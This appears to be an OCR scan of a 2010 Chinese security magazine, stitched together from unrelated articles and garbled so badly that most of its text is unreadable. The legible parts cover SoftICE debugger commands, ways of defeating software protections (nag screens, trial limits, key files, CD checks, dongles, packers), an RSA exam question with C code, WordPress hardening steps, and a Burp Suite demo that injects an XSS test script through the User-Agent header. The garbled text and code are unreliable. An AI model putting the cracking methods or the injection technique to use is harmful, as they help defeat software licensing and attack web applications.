s D aw A AEFTHR € W N A7 XSO 46 o 48 8 K EE I N AE BTN 2

(3) G4

ifvE: G [=start-address] [break-address]

start-address: JFF4Rhk

break-address: itk

ER: PATHEF .

s Gan & Jd T —RMEWT AL, F7 DhEe A mi2Rl G s

(4) P %

Wk P [ret]

ER: BB PATRER .

g RPUT PR, BBHATREF. @R P JEI0 RET S8, ¥ — H ¥ B HAT R HIEM
—2kIR 115 4] RET/RETF 4b.

P AT PAERE F10 0%, P RET fr & v HPUERE F12 RE.

(5) R4

Wik R A Eas 44

EH: SR B i ZF A7 A T 2 o

Mk En T AR .
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(6) S&

iEv%: S [-cu] [address L length data-list]

address: R EIGHHE,

Length: #ZRIKE (FHHD .

data-list: AJLUE—RFIFHT, WAl U a8 FA E ] g5, dnl LA
S

—c: fEEEKX KNG

—u: x4k Unicode ZWA% M4

YER: E N A7 T4 E s .

ks S dr R Ta e ) N A G B 4R 48 8 WA EUE, — BB R e i
Mk

(1) T4

WBy%k: T [=start-address] [count]

start—address: FIDIRELEGHNE

count :#5E BB ERER 2/ ICA 2 1E

YER P PR

)ﬂ?ﬁ T fir 2R A CPU B BB AR EoRHEAT B ERER

2 P FS.

(8) U4

iEv5: U [address [ length] [symbol-name]

address : B, (W% EBUEEERT

length : RICHMIKE (FHED

symbol-name : ¥ MF55E B B BT 4R S5

ER: RICHwTE4

i U i 2F TG i k46 SO dmfie e KR 1) e 4

(9) BPX A5 %

iBy%: BPX [address]

EH: fERPATIER LRE (BUER) Wi,

Al: %08 “BPX MUl B, P — BT RZIEAL, SoftTCE & LAt #i .
MR EACRE & i, B BPX B e bR T e 1 A Ab LT A, FRBEN BPX
B

(10) BMSG x4

15y BMSG window-handle [L] [begin—msg lend-msg ]][IF expression]

[DO “commandl; command2; ...” ]

window-handle: YH & A K& K AJHK

begin-msg, end-msg: WEMRRFHIVEE, WRKH end-msg, M4 RAE begin-msg
BN A, A LE X N A T S AR T I A

[F-expression: FIAXMMENER, SoftICE A #H

DO “commandl; command2; ...” :4FEW kS, AT — R SoftICE #r 4

L : RANAHHH Sof tICE, T@&7E 2 & I Hid 5l &

YER . FRER Windows V&, 7E Windows HJ7H S b 15 B Wi

Ak nSRA e E e MSG I B W i, IBARTE KL E H 1T SR 8
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= WA R EOR

1. 555 ML
AR 7 55 B AE I R 2 IR uE P AT A 2 R G R, RO g
KESERIEMIE R
D VK 2T 55
FAS =F (/4
2) I E ARG SR GG UE 44 ) IR T
RS =F (H4)
M4 =F (JF515)
3) I X A pR Hker AV S
FI (P 4) =F2 (F515)
4) [FIR R P 2R 551 N AR
FHEE=F (HFP 4%, F35)
FRIEE = F (P4 1L, APR42, .. 355 1, FAlE2...0)

2. & (NAG) HO
Nag & F @& B AF R TE 3 SR AN W B A P 0 SEE AR R 7 11
FRRE T B I TV R SRS o TR R e I BRI, R T AT SR
S OB SSGE . AR, XA AT DU RS w T .
FETARRESED, RERICIEILE DA, HEkZA AT

3+ I ] PR

i[RI BR R P A S, — R IS AT RE T (I TRl 3EAT PR, S — SR R s AT i
(AR, AH A2 B [E) B PR 1)

WHEREF 24T 10 438 Ek 20 3 a mids (b 3T, W A0E 3 8 AR T A Re IR TAE.

BLSCPLT (R BR ), SRR T A 20 T 2R SRR RIS AT I TE], 7E Windows R A#
FTFET#84F SetTimer () . TimeSetEvent () GetTickCount () v TimeGetTime () ,

4. B TR B BR ]

IR AT — A I TR B BR 1, Bl il 30 K55

LRAFRI AR, SRR 26— BT SR R G H I, JF OB HADRAE R GuHh B2
ANHLTT o IZANI TRIFR OB 0 220 H 3.

FEFPAERRGB AT AR B 5B BCS AT R G H, RS0 s ok 223 HE T HE
B, BILEMEE N B (Lbln 30 KD Il ihisqT.

N TSN AR, A D BRI R R — B BT T U 2R (A 5
BN TR EL I A R A B 3 — A P 4 39

5. JEMHRD

MO (Key File) s&— PRI SO RFE M AR RS 770 Key File N —LE
I BRI W EdE, AT Re A A S R

M P A EE AT PR 2 JE . SR S, P R B SCREANRI TR
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Hsrr, bl DR AR o 1R
NSE IR AFAESE, TTLAAE KeyFile I —Se 3R A5 B X TEM SRS A
R 3 BRSO B AN RIS B A AT s P S A 1 s A BB R AT R R 2R I B

6. ThREMRHI

XRFEFF— 2 Demo GHEZR) hit: DHREFRMIKIRE P — e 7> N m

— A ORI IE SRR R R 58 A 0 T PN RRAS, IE SR A A AR 6. 53
— M R E M RO R — A3, —BEM 2 Jast, B AT DU 4 BT fe -

7. HHRBAERY

N T A RBBPE IE e R SRR, AEARR U B e = i jl——
(1) ZEF7IE a2 18 i+ UL
(2) ZEJ AR A ER AN 2 A 5
(3) ZPhEeht SR AIFE DL

HarB ke i SR AR ——

1) FERSEA

RRAERS 7 ARl e s 3% B R ERS, 1 SID (Source Ident-ification Code)
KX 53 R IEROGHRLIE 2 B RO -

RS A2 72 G R M A2 = I E AR P2 AR Y, T A IR B RESE e 1) HE RRE RS A —FF . D
it B R ARS AT I DA 20 S A AR A, T X P RE IR £ 125 i 3 8 i D't B R v TG X
A I o

2) FEEFFAKX

JEE K FAIX TOC (Track On CD) 52 AIRICFRAT R FOLERMEFE, Rl A
FreEn, R EERERAEER RS AX . B, 755X NI ZE R DLt a4l
., AEREA 7 1 a stz R AR E

3 FEFHKX

X T FRC R B R U, AR BB R TR B X (R e, ECC 242 AR %,
oL AR TR Fe X o A FRATAT DOl I € T VARG it Bl — MR B X, IRAE
et B s — MR R T TR b X )8

WIERAE AR IR W B X G iR s A F B Es , W SRR P 10— 50 7 BRE A N . R 1
BHo IXFEXT T AR UL, R — MRz XN, 20 e v i el k. A, i
OB BB R RIS 2 5, T B SRR IR RO B b a8 e B 2 B SR A R ARG,
AR TTERAT I .

4) BECRESE

DA ST S5 40 2 18l 1S0-9660 FRAETHIE KT,  7E IS0 9660 %\ A 4EH —FFR N
Directory Record idsgéH, idsg 1 XHRIECCHRIAFR. B K. A~ HE. WE

faray
=2

B, HREFIEMN Directory Record e HFKIEFINE, FAEMIL Windows EHAE RS,
A L G S A S AN DR S A4

5) EFMMAR R

] DS — Lo AR ORI A, e KIT 7 Bext e ht 2 g (5 sk
(IS0) RGEFAT W AAAE L, KBBR8 B SR SO AT R 0 R, 7 a8 S A
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AR, A I H SR AR S H R

(1) Bt

1809660 L YeHL BB AR — A B FAMCAAAE —E ks . BUE e, Hrp
55 26 DT L RMI B SCAFIARIC I o A2 A SRR 5 B A2 25 1S0 TR K2R 26
NFALE, e SRR SEAE A, (EICE A BISCAEAT H SRR R -

(2) R

R R SCA e iR ST AT — SR BRI AR BE, AR ASKRAR /N SO 25 8 KT 26B Ot
HRERAA T00MB) o XMSCIEF IEIEISAT, (EIEEREH], 1R B sm ] = ] & i on i

>oT-ui

(3) HRAERSC H %

1 1 F DS AN BRI, R TVEE AR EH1.

(4 HNeE

RN R AT BLY B8 , T R AT N IR IR 3R A RE VT DL AL (0 P AN
TRE RSO

8. WA

M) (dongles) MFRINEB15E, f&— Ml 2RAEHEAIE O, B B USB 4 H E1)
/N o TR — B0 F T % ol 5 104 VR A T B A

AR I S A I AT, R A TE T AL R R A a4, K
PERDRGE T S A W A R, RN IR, B Ak sis T, IR R I T

B E TR AR, B LR S A TS SRR, AR
FpEt . XA, BURIE TR B A RN AT R S N R K, IR R AR AL,
PR32 R T AL AR

MEER R, A PR AR AT I AT o = A ——

L A SR B 738 455

2. PBTH IRBNFE T AT IR0 B ARAE S R

3. By

N T AR A, BUESRAR A T sk . ——

1. BEHLUEE SRR B HALIE S 1 TR W Rl A (s 1 S5 A se |
BAait, Koo DU BT S 7 ORI I BRSO, b 8 2 e B T T A A A
Z[E) AT LA S0 TR B S IE 1

2. IR 1A B ARG MR 7 (IS AT IR 8] o SR NABHERE P4 R RIEAT 08T, A
IF 18] [ DI Wiz AT B SOV ARy, RS S ot AR

3. WE BRI DA DA 7 K ERIBEOR KRB, b AR XED
B AR PR

4. R BRIRE P B — 80 S B b, RAME R, BT A SR, th
BEEHAT T .

BEXT A SIAS R IR 3 5 RS TT 0AR, H RO B S AN RIRRIE, dnsmzh s
M RN R 2% 5 4

9. HARPEA
AL R BOR (0 SR B2 IS IR AT AR B B ST AR IE R WX R, o — L8 E B A5
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B WEHL IR AR IR Y B AT J R L, SR I T P
AR, SRR — TR, BT RSB “ IR

I B B

RAAH, JRAA LT ROE, SRR .

AR TR S HICHIRII (GAP) o A THRAER 3.5 S0 Btk i,
# 80 MR, FRGEH 18 MK, BRI B 512 FIONOR, BRIERS b A A
R S PR AT o SR — SR 0 T BN BB b A O R 7, 44 5 DX
B BN BN, BOEK BB BONIRURECE, (R LR I E
ORI R, EREE . S a4 M4 R IE 5 X
LI

10. REBEFRIAR
SORBEERAR T I g @i B “IRE” BAERHUTE R, wah &R, BERIE
YncE, ARIRMEBE BN 51k — MINSA 22 2EIAR KRR BT 344

FREZRE ST

N2 SEREFA I H AT i ——

1) (ER IR R B, Je b A b2 S RRE e, 5 R A R P2 AE, 12
IR IsT5S.

2) X B NFEFF BN AN AT B .

3) ZREZMPAINE T %, XA MAFRINEEA,

4) BEIRERRENG, BT

5) —HRIEREAT Y, WLURECE BAT N, ORGSR ) A o

6) N HIRE P AT B E ERE P B 2 i, AT DR S B A N, B BUR S S AT EAL
Bt o Aoy B ERE PP BUTE S5 e UG FE AR PR . SRR AT EALE B

7)) W L S I B SO AR TR B RO (R R AR B ERER A, AR HERR SR BT A R 22 X
s, EHERFRET i 1R TE R SRR

8) M REFF el Aoy BUR B SOB RN A, BT 5E — BUERE, B S AMHAT T —
BREFP,  [FILE A7 I ER £ —Besre .

11, PR IRY
W2 02 7= I IR EAI A A . e A E 4 B B — AN & A (B )
IS R 25 F2 7, Bl 3 M 4 BT Ak A a] DL i) B 280 o 4 FH P A2 28 7 WL ia 470
5 BV A, P BL [ X 2% o R SR A IR 25 1 X 841 o 224 9 48 00 A7 I LR [R] IE A
B BJE, PR AR, AR AT DUE S T .
W28 N7 S N RE DT LRI LRFZHRIERS: LR SRR M4,
FERNE Sl e

12, #hTHA
AN T HAR 32 B AT A A IR IR AR A O BE SR AT R B R BT RR, R
— R R T AN T ER A SCHEAN T RN AN T i Fl

A, SCPEANT
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SCHEARN T 502 BLAS SO AR B S e B AR, 2 A A SO L
FeA CRC BEG I HARFE T
B. AT
WAFAN T EEA XIS . IN5E. CRC ARIGMIFERE, WAEHN T A 8 ARl 2
EHWREFREF MR . k. RIS ELIS, 76 B AR bk 2= (8] oh A& o 850 -

Ty BARRIINSE S5

1. “F” BIBE

“IFe” , R TTTM T RBE, BN R A — B R E A,
JRFE P ARRG 2 ARG B, AT B 1 F2 7 4 AR VA8 SR 2 5

P AEPATH NI, SEBR EREHAT “Ih5e” BT, MHxAs “4h52” B
ST SRR P AE WA T, AR RIS A T 5 R AR T

IsE AL I H FAPER, R Amist: —RORY, RIE4.

A, RPFERF

KRAFTF IR EZEBER, 2SS TN E— B FE R Z RS, R
AR R B AR B o e 0 AT RERES, RIS REEE, R R 5
B, BB B,

B. HiTEfT

XTI RS 1% N FE - BB NS e . VR WinZip. WinRAR &5 SCfF 48 SCpF, — %
FEATHATH o X B exe EAFFER 2 W AT

FE— BRI A

D REGFE H O 20 APT Hbik

2) T JERRE P IS X R

3) HEML

4) HOOK-APT

5) BT EN O A

2 BWHWRITEANA

WAE R T 42 7 A 3 2 H R Wn 52 54 ASPacK. UPX Al PECompact &%, HT
PR 7 0 2 H I WNSE A AsProtect.  tElock FIKJ§S%% . T faj s/ 4H— L
i Fe 3 A o

A. ASPack
ASPack #&—7K Win32 & PRSP VR B R 4 8 A, SO IR 48 Pe 2 Ek 40%~70% - ASPack
TN EMES, FeeEMEE RS RET

B. ASProtect
ASProtect B RS %5, RIREFACIS . - ICACHS . CRC KLI& AL 484 (R
. BEfFH Blowfish MmN & &L, EH RSA 1024 1 NEMEHAE NS . ik
Wit APT 7 5 e T iEfE.
C. £J% (DBPE)
S EMF 2010 FH)-INZMRE= © ZFZeEHE WMNRE

178



LI HARTIRE

(D) Bh&ARINE =R, SREFRAR . BEdEiT e .

(2) E4f2F8dE . . b b 2,

(3) WA M R gmE T R

(4) FEFA B, BhibBi.

(5 XA AN AR R T 1 :ProcDump, PEditor %,

(6) WHLATE CRIRIERER T TR, 1: SoftICE, Trw2000, 011yDbg %%.

(T AN Bas AT BRG], 384T RER S, @476 8 H RS, 75 ZEM A fe
R PR A

(8) HR¥ESE & A A R 5 AN RS, 33 S R BEAE AL 2K

(9 RO, LR T A REAR S

3. B e

Y= SRR, LB R BTG AR BRI, e 2,
Frfude, CIEHARIAKTTE, X—d AR AT,

R BT R 84S Language 2000, File Scanner. FileInfo. PEiDentifer %%, X
BAFBEAT I SES, nT DM e ik, ol Fahiot.

FHWFERT, FFENE Win32 TR ATHAT SRR 20, TRME A —2e4dBh T A,
M. W32Dasm 45,

FAWETELRA: BEREFAC S, FNAFEGE S, HEmARSE.

it ST ERA FEE o NP R, B P B 7 B A d I s S o & FH AR It 52 S fidk F T
A, ARATRR E S EIAR A R 38 B eSS A A AT AN RS T 3 T S A

Bt 58 B D R b 752 i 52 J5 B SO RE IR s AT, JF HInRe A b . — ek, Bise)s
SO FE R T IE SR RS o B[R] — AN ST, 4R AN RIS 8 12047 e e s, T
S R A LR AN [R], 8 SR B ST RN AN A A

TIPS: Wil AFr— et ——

Lo 3R RAT 2 B — 58 B FT AT FE 7 HEA T I05%

2. BAEH OB MR RN R BRER RS .

3. BRI B S e A

4. RERH—H T RM B KA 4 5B OR A FE G B ORI S A
5. MEB AR AT 5, o — B R S R Ak A

6. I LU BUOCER V) 2R 48 ST A S SO ] SR A5 21 22 G Ta] (1945 12
7. ARSI — E FIBEHLE

8. NS IR IE R 7 I BN RRCAS, T A2 AT A B A 26 1) ARG
9. MR AT ISR, WK R W I rE SR Sh AR 7
10. KRS 222Em) (R R AE 2 A AN F 17

11, RH—HL—t, wf AR by E Mg AL 4% .

12, SRUT /2R H A ) 2 e 2 B

13. "I PLRAESEM B T7 .

14. keyfile FIRFARER N,
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7E RSA ik, HUREH e=3, d=7, WIBASC 4 MIFESR. . .

YEF: streetmilk

FKGWERBIEAN, BN, NEBR « « « ¢« o 3, BEERFATUEHRS K
e IR

HRAIZ Z M. o707 %)o

CHHENLNZ 22 4s) (B R XA S —F 40 PL77 @i H

6. 7E RSA Bk, U4 e=3, d=7, WIBASC 4 B3R O,

A. 28 B. 29 C. 30 D. 31

TR FE A RSA [N EE

L. n=p*q;//&EWp M q, pMlqgAEMmMIARRKERLE p M qLIRE,
2. ¢ (n) = (p-1) * (g1 ;

3. exd=1mod(¢ (n) );//e 5 n HE, d AR, INEEH (A8): KU=(e,n);
firE e (FAPD: KR=(d, n) .

NIRRT IXIE U C 35S 1 RSA BVEM S :

#include <stdio.h>

#include <math.h>

int A prime[25];

void F Init();

bool F Check(int x, int y);

int F Encrypt(int a, int b, int c);

void F Compare() ;

void main()

{
printf ("M% 245 —xkAE: \n”);
printf ("7£ RSA Bk, HUEHH e=3, d=7, WIBASC 4 M# LR ( Do \n");
printf (“"A. 28 B.29 C.30 D.31\n");
printf (“fi#: \n”);
printf (707100 HIEEA: \n”);
F Init():
printf ("FF&8 H &AM EREA: \n”);
F Compare () ;
getchar () ;

}

void F_Tnit O //MACFAHIR, HAEMILBIXFEE T
{

int p = 0;
bool flag;
int 1 = 1;
int k = 100;
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while(i < k)

{
if(i <= 2)//BPUNFrA Y, RA 2 A%,
3,5,7,11,13 ¢ « o o « « Z IR A ZE 2, iR 2 AT 1%
{
i=1i+1;
}
else
{
i=1i+2;
if(i > 13 && 1% == 0)//FEEMIECH 5 Z AL
i
{
continue;
}
if(i >k
{
break;
}
}
flag = false;
int j = 2;

while (j<=(long)sqrt ((double)i))//EF: n>1 &MY HAL
MAKT sart (n) B ATH REEABERERR n

{
if(i%j == 0)
{
flag = true; /1S4 F & HOE R bR
WA T/
1
if(j==2)//9% %k 2 ST A EEL 1EB R ECR N
bR 2 S AT AL
{
j=J+1
}
else
{
j=J+2;
(5> 13 & j%5 == 0)//TH KRN
SREZ DA
{
continue;
}
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}

}
if (flag == false) /*WIRBA P EHCELRARIL N P/
{
if(i == 1//1 AR
{
continue;
}
printf ("%d 7o1);
A primelp] = i;
pt;
}

}
printf ("\n”) ;
}

bool F Check(int x, int y)//#IWi A8 e 5 (p-1D)*(q-1) &2 B HANEH
{

int e;

int i = 0;

while (y)

{
e = x;
X =Y,
y=e%y;
it+:

}

if(x == 1)

{
return true;//e 5 (p—1)*(q—1) HLZ R[] 0

}

else

{
return false;//e 5 (p—1)*(q-1) N HZEKIR[FA] 1
}

}

int F_Encrypt(int a, int b, int ¢)//#3RACE KL, SLHURRIRIZH
{

int r = 1;
b=b+1;
while(b != 1)
{
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}

return r;

void F Compare ()

{

int c;//% L

=r % a;

=r % c;

int m = 4;//H3CH 4

int e = 3;
int t;

—
D
=

|

int
int n;

int

for(p = 0;p < len;p++)

for(qg = 0;q < len;g++)

{
#Hd
A prime[p], A primelq]);
A primelq];
\n”, ¢);
}

}

FEEH 2010 FF)-MBERE

= sizeof (A prime) / sizeof (A primel0]);//3RHEH K/

t = (A primel[p] — 1) * (A primelq] - 1);
if(e >= 1 & e <= t && F Check(e, t))

{

183

int d = 1;

while(((e * d) % t) != 1)

{
dt++; //HAH e REA

}

if(d == 7)

{
printf ("p=%d, q=%d, ”,
n = A prime[p] *
¢ =F Encrypt(m, e, n);
printf ("3R8 c=%d.

}
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test Al debug 49 HIHAF. 4. N I BT 5. FHATHERF — LB fa] 510 AR
6. AR SATSS T T, ROk R L SR ) R AT E 8. — AN TR, fh—
E L 9. YUAT AN G U R AL FR A 10. HURTTHR, RIRDZVH 24
AR L1, Q3 G PR A B R BR R A 5 KK 7 = 12. 38 31 XK AN 1R 48 B
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WordPress ZZELHZE

VEN B AT AR PG i 2 MR A2, WordPress fEMOZ I P 2 5k, AR
WIEFCAH R, SBUBIRE S 2 28, WordPress %42 HAMILITUSR .

—Ex, JEEZE

B Ay, BRI R ZHBUIRSS A S A R D L me P &y, {50 1 Bk & 4b
T OLIR R AR, 8 PR R R A O3 B A AT AR 2 B ORI ) — Ry . AE WP TR AT DU B
WordPress Database Backup Jdiff:#tasci, FH/ 0] LA $E WordPress Database Backup
et o S CRARR N BR. "EN. FHSERYD et m. SR
SRR EERE AR IR, ATt P DA 28 4 BORLRIG JF 80 e - 75 )5 HT S T AR IR 45 2%
SCHF mail () B ECAT AR AN AR BB AT o

HIRRBHERIA SQL B TS a0 AR WP IE % %¢%%, HBALE wp—config. php H
BEEER)"$table prefix = "wp ;" wp "BEUNRTHEEMFIH . WRCE LS, HE
HEHEE, RERIHERE G, H RS 45 G B phpmyadmin HESUITA
PR AT

BT A WordPress 1) SQL #idf FE R A FRIE K AT FMUN T dr s, K by
“isbase "SR TR N HRE FE R AT -
ALTER TABLE wp commentmeta RENAME TO isbase commentmeta
ALTER TABLE wp comments RENAME TO isbase comments
ALTER TABLE wp links RENAME TO isbase links

A FEMERTLLH WP Security Scan ffiff K&,

el e h R AT SR B e BB 2w, IR [A] wp—config. php SCF, fEEiEA]"$table prefix =
“wp_'; 7, MJEE] WP 5 Sk S FE AR

WERBILE ARG FZMEOL, EREIRETHATU T a4, HHAH isbase "B
A 5 B R E A R AT
UPDATE newprefix options SET option name =
REPLACE (option name, wp user roles’,’ isbase user roles’);
UPDATE newprefix usermeta SET meta key = REPLACE (meta key, wp ', isbase ’);

—E#E, BHERKS®RE

WP BRIAFYE G35 admin, AT LAHTEE-—HE admin 4 F1™ 44 B0 1 52 K5 11 5 N R
admin K5, BFES admin K-S Eard. RN REEN, X— R WP b G Him
JEHRoR, SR,
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http://wordpress.org/extend/plugins/wp-db-backup/

=EZ, WEIH wp-config.php Z4&

1, & B\ ® X % & % 1 % cookies ) , F|
https://api. wordpress. org/secret—key/1. 1/ A KBEN ZEZEH, BHEIAZEH, BHiEA
fRE L cookie BIFFI MG B EL I M . 7E wp—config. php R EBZELIU ARG E, HHAT
FEOUH 2R A A BT B 8 477 define 1A

/HkH@+
* BERBE.
*

* AT LABE S — SR

* By ¥ H BN {@link https://api.wordpress. org/secret—key/1.1/salt/
WordPress. org FAVEHA IR, ,

* ALMEEER 2 S 3L cookie %L, B M P AU E HE 5.

*

% @since 2.6.0

*/

define C AUTH KEY, ’put your unique phrase here’);
define C SECURE AUTH KEY’, ’put your unique phrase here’);
define C LOGGED IN KEY’, ’put your unique phrase here’);
define C NONCE KEY’, ’put your unique phrase here’);
define C AUTH SALT, "put your unique phrase here’);
define C SECURE AUTH SALT’, ’put your unique phrase here’):
define C LOGGED IN SALT’, ’put your unique phrase here’);
define C NONCE SALT’, ’put your unique phrase here’);

2, %3l wp—config. php, M 2.6 WATUG, WordPress SCHRPRF U B A TBUE %2240 S
=g HSH, WSR2 T WordPress H 3k F %A &I wp—config LA, WordPress 43 3]
K& wp—config XHRMIEH FEH . FEFEBEMNERESLEM 4 Can WP-T-WAP)
B 2245 H SRR wp-config. php 3CPF, @ SRF 3 JE HILANGE IE & 4 FH 10175 5018 K i 7
]

3, BE HARH S V58] wp—config. php, FJLAfE. htaccess Ul AL N ARRE 5L .
{files wp—config. php>

Order deny, allow
deny from all
{/files>

JUEZ, WordPress fRAZ4

A HARE R H QIR RRA SRS, 125 6 2 IS8 RAS K A 3 AR RIWT
IR JE A2 R WordPress FRAAZ &, PAA AR E R X R KRB

TEWP2. 5 S BB RRAF, 78248738 H & F# funtions. php HMA LA N ARG B 5L IR :

function wpbeginner remove version() {

return ’
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https://api.wordpress.org/secret-key/1.1/

}

add filter ( the generator’, ’wpbeginner remove version’ );

hER, HATIRR wp 2at ik
MEEAS FH 8 WordPress =5 fBUFIFE 14

9 WordPress SCAHFHILE TEAf 1) SCAFVF AT AL PR 5
BEL 1) 45 2% 5 2 s0of o s P 25 R 2R 5 1 L
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HTTP B3 PR
et RE

AUE R, BHRR A A — R B R, TR 360 XK B A F 2 (B kAR T
— RO BRI SR, BRI i thE——360 A1 QQ A, WIRM LA
EfRI 2242 1 360 A1 QQ, K5FEQQ sRAT IR M. AUk, A ] 360 J AR QQ 4%
8], B BHIE. AL, B 360 NS T R QQ A AN Al AL EARBR ML 1 R, R
IEE AT Z P User—Agent K

User-Agent s& HTTP il K% A — AN ki, FHERFE ST ## F HTTP Bpil. PARA2
X http://qzone. qq. com &K H B — HTTP 15K, WAL F:

GET HTTP/I1.1

Accept: application/x—shockwave—-flash, image/gif, image/x—xbitmap, image/jpeg
image/pjpeg,

application/x—ms—application, application/x—ms—xbap, application/vnd. ms—xpsdocume
nt, application/xaml+xml, /%

Accept—Language: zh—cn

Accept—-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: qgzone. gq. com

Connection: Keep—Alive

TR EH GET A1 HTTP/1. 1 2HR%, GET ARFIERENEM HiE, KRR 2515 K — BT
HTTP/1. 1 AR A FH A HTTP B iRAS,  BAE 48 K 22 B0 Va2 A F 2 1. 1 AR

A Accept WHESLMREEZAFAIALM, XEATLLZIEAE; Accept-Language JH
BELREREZMTE S MR, zh-cn RRH 3 Accept-Encoding 1 Bk F R Z 9l (177 2,
XBEAEH T gzip, deflate E4igmtD; User—Agent JH B SLMEH: TG E P2 H; Host JHE
SLARFEE R EML, X HJE gzone. qq. com. Connection .8 LIKMEA Keep-Alive FIR T W
Y A5 IR 55 A IR

w) H AR EANLAETE KRG 2 UWEIR B IRSS d8 Im B, X AR A SCE A, HAEN
IR B 25 Y ds 1) HITP VH 2., WFRE, EEPAHCCER. AR E M2 User—Agent 78 Bk,
R G WERAEL B S HIE RGNS ZRNE R . 21, User—Agent B8 1 & 7 Ui (13
WA FIRIERGME S

N, RE AR WEB V5 [k R & 1.
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K1
245 P i RIS — AN HTTP 53K a, ISR R IRl AR 4S5 28 M uji 73X A
VR o MR B8] o ] QQ ¥ (AR S5 38 K IE T — 2% HTTP 33K, 1ERIA AT S T —LK
BMEE, Hp User-Agent HEE T RAZ M mINERGEE, T 360 MEHRAETH
O User-Agent CRKZHFELRIAAE T H K, QQ 2RSS 2SUCEIK H 2 /7 i i) HTTP
R A AL B 360 W VARSI User—Agent B ] 25 11 P vy i), axX w2 b i Jsi s, iy Y
IRAE I 360 AR U5 iR QQ 7 (A1 BR 1] (1 S W) 7 IE 2B 2 User—Agent .

FeAE A PHP BRE5 0 B —EX PHP ACHD 40 Y User—Agent (H{a#5 % PHP A EE(EIX 4y
WE, VE4HIESEAHISCRY), X test. php, fCHGUIF:

<?
echo §_SERVER[’ HTTP_USER_AGENT’ ];
>

RG] TIE W %2805 7] http://localhost/test. php, 153IAHIH4E LT
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5. 1; SV1; .NET CLR 2. 0.50727; . NET
CLR 3.0.04506.648; .NET CLR 3.5.21022)

P 360 JMEER I, MRBIMERWT:
Mozilla/4.0 (compatible; MSIE 6. 0; Windows NT 5. 1; SV1; .NET CLR 2. 0. 50727; . NET
CLR 3.0.04506.648; .NET CLR 3.5.21022; 360SE)

ATLAE Y, 360 FthZ R, a2 T “360SE” , 2 QQ AR S5 A fE 52
B TE R PRSI 2] 360SE “FREMIZEIE A BV IR T

At ix BB, 2 f5 360 W VAR LT AE N Y AR I —— “HAR” BEANAE T “4—
IE 1 360 Z2 4= Y2310 User Agent fpzn” , WAL T, S3IA945 5 IE 1—FE,
Bt A Sk ILiE A 215 2 LA Ry 2h R .

HTHIUE 7 HTTP fER N 2R B % m, IS A/E % i, vl DABE R SR i R
B o TATR] LI ACHR R 55 25 1 J7 FORBUZR 1 SR WA . RERIRSS 22 T % 7 s Al H 1R
Fran LI — G MRS A%, S8 i Vs i B 1 ACE IR 55 A Uk Ao 1), 0 D 2 i 5B RE
BREPE RS 4%, ARJE HARERAR 5545 17 H IR 5% 48 ik HTTP KR, AR S5 221l
R S A A HTTP 31 S A HOST {1 5 Sk Rt 5 g B RIE B (1 H 10k 5545 ik (1 - =4 H (¥
S5 M i IR 8] — NG R, TR IR R BB R 5 4%, AR5 i ACEE AR 55 88 1 4 2 211
SREG L2 P 0 S 4 o FT AR 55 25 A5 32252 2K 20 7 3 (K18 5K 3 78 Ja A2 W] DARE B e
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HE WK RS RS N EECT ARMEs0. L 2:

K 2
TR T RS RIS E T UG, BATEE T LLE S & — & AR S 2k 8 ok
R . X TR RIA A CEL AR 25 3% R FR AE A M AT — AMRELIR 25 B FE 5, AR5 K 2
REE TP BB AL hE AN s 15, ZE U5 1) X TR H HTTP 1SR B, ARERAR 55 38 T A B
JeAR G R, ARG PG SRR HARIRSS B8, TER IR B0 AR Ak R HITP W E 5, 58
2] DUME O B3k N2 5 B 2848 H AR IR S5 4%

X BRSO WEB 224 T2 A K44 54 5510 Burp—Sui te SRSZILA AR R S48, fEHE
MG Chttp://portswigger. net/burp/download. html) F#E f st A (i Download now).
K79 Burp-Suite @d&F JAVA V&1, Frili B4 JRE (BRI . %3 1 JRE J5,
14T Brup—Suite H 3 FHJ suite. bat, BIW/E3) Brup-Suite, FEFFMAIA 3:
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1247 5 Brup—Suite BRI AR HE5G 11542 8080, FIF LAFEAS B i ELBAE . SR )5
360 Y A B EAREE, 4 360 W a AR T AR “AREERS &S — “MREMRSHRE",
A 127.0.0.1:8080 FffiE . WEUGE, BHE “MBEMRFSEE" & Wb 24 1% 3 4 1)
“127.0.0.1:8080” , UL AHAREEAR %525 D W B 52 5. FRATTH RV W WA B 2 57 1
test. php, WIYEEEHHIN http://localhost/test. php, BEE %88 — BH AN T2IRE, T
fEfAT R o T Brup—Suite #1451, 4% “proxy” IR, AT LAUE I3 28 K IX 115
KRAUET, WK 4:

Kl 4
XA DS B AT AT N 2, BATHE User-Agent AJ DMESUSATAT N 2, E 4l
“360SE” FAEMIER At nT DU 7 vk ssad QQ 2 1A] BT il BRI o (H 2 an RFRA19EAL
— B OB ¥ TR ? K AT User-Agent H T O KON RF B O
<sceriptyalert (“test”)<{/script> & “forward” &4, WIS HEPANEN “test”
2R, W 5

K5

DHERZ Mul CELINRIRTERE ) 082 7 i W 2% 5 B B N 2, A Sl sl e v
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RT3 User Agent (PHP 3kf% User Agent [FJAF & f&: $ SERVER[’ HTTP_USER AGENT ]; ASP
158 User Agent X R )72 : Request. ServerVariables ("HTTP_USER AGENT”)

) AT IR B RS N PR B R T, B AKAEE — TR S Ak
I I — Ik User—Agent JEAN.

HSLEE User—Agent KPRl I0 Wa 28 U5 1] Ik A B 4 06 38R 10, PR HTTP SR I N 25Kk H
&, % A A MBS N A . HR, fE WEB 2 dmfErh, Nz hg ik B %
UG, Ebhn GET. POST. Cookie. User—Agent, fFAA[K B 25 i B4 AN BEARE /2 22 401,
AI PR B 44 B 7 R B IE T SR B ERE, B “ R VR e R N s, ORI A R
A2 A B A 31 X—— K A B I N ——HiB o ben A&, A B4 07
AN, RAadr bk jpg M.gif, HR#AXBSARTN,: wWHRHELRTTA,
#. asp. . php. .aspx FEEIIANGIR L R, AR g g —Mitg X, SR
FEAE

RIS, DR AR AR 55 & il AR oK B %5 7 i AR 55 & Z RIS )2, JF B LR R B 250

W, WAER] T AR SS S 0N A th, IR AFEIE BB AR 5% d i BB AR IR 55 45 2 15
7N
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MPAFFRE U A 1 JR B B N A7
fe#&: &5

FoH, BEEIENSE R AT SEIL A AE R RE, A S1E T HAER . IR TN T N
AR BATIE [ b R TR A AT E AR, FrBLais 2.

WEERMR, ZEFEZLBY ——WAAEBRERDIRE, 2FHHT
SetProcessWorkingSetSize () A%, I pREE MSDN FiiR Ul T -

“Sets the minimum and maximum working set sizes for the specified process”,
